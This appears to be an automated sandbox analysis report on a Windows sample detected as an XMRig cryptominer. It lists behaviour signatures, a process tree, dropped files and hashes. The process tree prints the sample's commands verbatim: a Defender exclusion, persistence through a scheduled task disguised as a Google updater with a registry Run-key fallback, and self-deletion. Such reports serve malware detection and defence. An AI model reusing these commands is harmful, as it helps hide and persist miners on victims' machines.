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Analysis

  • max time kernel
    433s
  • max time network
    1780s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1140
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2832
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1136
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        PID:1332
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe qtdiqnkejoz
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:1280
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
    • C:\Windows\System32\choice.exe
      choice /C Y /N /D Y /T 3
      1⤵
        PID:2108
      • C:\Program Files\Google\Chrome\updater.exe
        "C:\Program Files\Google\Chrome\updater.exe"
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2044
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {62862FD5-32B1-42E3-95C9-56618537415A} S-1-5-18:NT AUTHORITY\System:Service:
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2888
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        1⤵
          PID:2820
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:1992

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 239KB
              • SHA256 77e6b90b18d6cbdf03f7cc83ba0614bce0e1ff0fe98e570aa02406f3b28c5d93
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 308KB
              • SHA256 204bb68f3f0c216709b8ad6aa9f4339228f48ed30589e3e734488122d5275dbd
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              QVHQPP2DONIS054OB0T7.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QVHQPP2DONIS054OB0T7.temp
              • Size 7KB
              • SHA256 1ef1841c3b7139f771a5e55e3e3b2ce730d678cbceeb90010a1b160825770247
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 61KB
              • SHA256 0fdf6f4582d74d29c925fe232be8f336f487ced0f39d81bdc63deabad0605746
              • MD5 SHA1 SHA512 SSDEEP

              memory/1280-75-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1280-68-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1708-44-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/1708-46-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/1708-45-0x0000000001520000-0x00000000015A0000-memory.dmp

              memory/1708-47-0x0000000001520000-0x00000000015A0000-memory.dmp

              memory/1708-48-0x0000000001520000-0x00000000015A0000-memory.dmp

              memory/1708-49-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/1824-51-0x00000000015B0000-0x0000000001630000-memory.dmp

              memory/1824-50-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/1824-52-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/1824-53-0x00000000015B0000-0x0000000001630000-memory.dmp

              memory/1824-56-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/1824-55-0x00000000015B0000-0x0000000001630000-memory.dmp

              memory/1824-54-0x00000000015B0000-0x0000000001630000-memory.dmp

              memory/2404-43-0x000000013F9D0000-0x000000013FBE1000-memory.dmp

              memory/2404-63-0x000000013F9D0000-0x000000013FBE1000-memory.dmp

              memory/2628-39-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2628-33-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2628-36-0x0000000002A20000-0x0000000002AA0000-memory.dmp

              memory/2628-35-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2628-37-0x0000000002A20000-0x0000000002AA0000-memory.dmp

              memory/2628-34-0x0000000002A20000-0x0000000002AA0000-memory.dmp

              memory/2628-38-0x0000000002A20000-0x0000000002AA0000-memory.dmp

              memory/2724-7-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2724-5-0x000000001B340000-0x000000001B622000-memory.dmp

              memory/2724-6-0x00000000029A0000-0x00000000029A8000-memory.dmp

              memory/2724-12-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2724-8-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2724-9-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

              memory/2724-11-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2724-10-0x00000000029E0000-0x0000000002A60000-memory.dmp

              memory/2736-25-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/2736-18-0x000000001B420000-0x000000001B702000-memory.dmp

              memory/2736-20-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/2736-21-0x0000000002B20000-0x0000000002BA0000-memory.dmp

              memory/2736-19-0x00000000029B0000-0x00000000029B8000-memory.dmp

              memory/2736-23-0x0000000002B20000-0x0000000002BA0000-memory.dmp

              memory/2736-22-0x000007FEF4870000-0x000007FEF520D000-memory.dmp

              memory/2736-24-0x0000000002B20000-0x0000000002BA0000-memory.dmp

              memory/2892-74-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2892-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-66-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2892-67-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2892-65-0x00000000000F0000-0x0000000000110000-memory.dmp

              memory/2892-69-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-73-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2892-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-96-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-100-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-102-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-104-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-64-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2892-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/3016-0-0x000000013F680000-0x000000013F891000-memory.dmp

              memory/3016-27-0x000000013F680000-0x000000013F891000-memory.dmp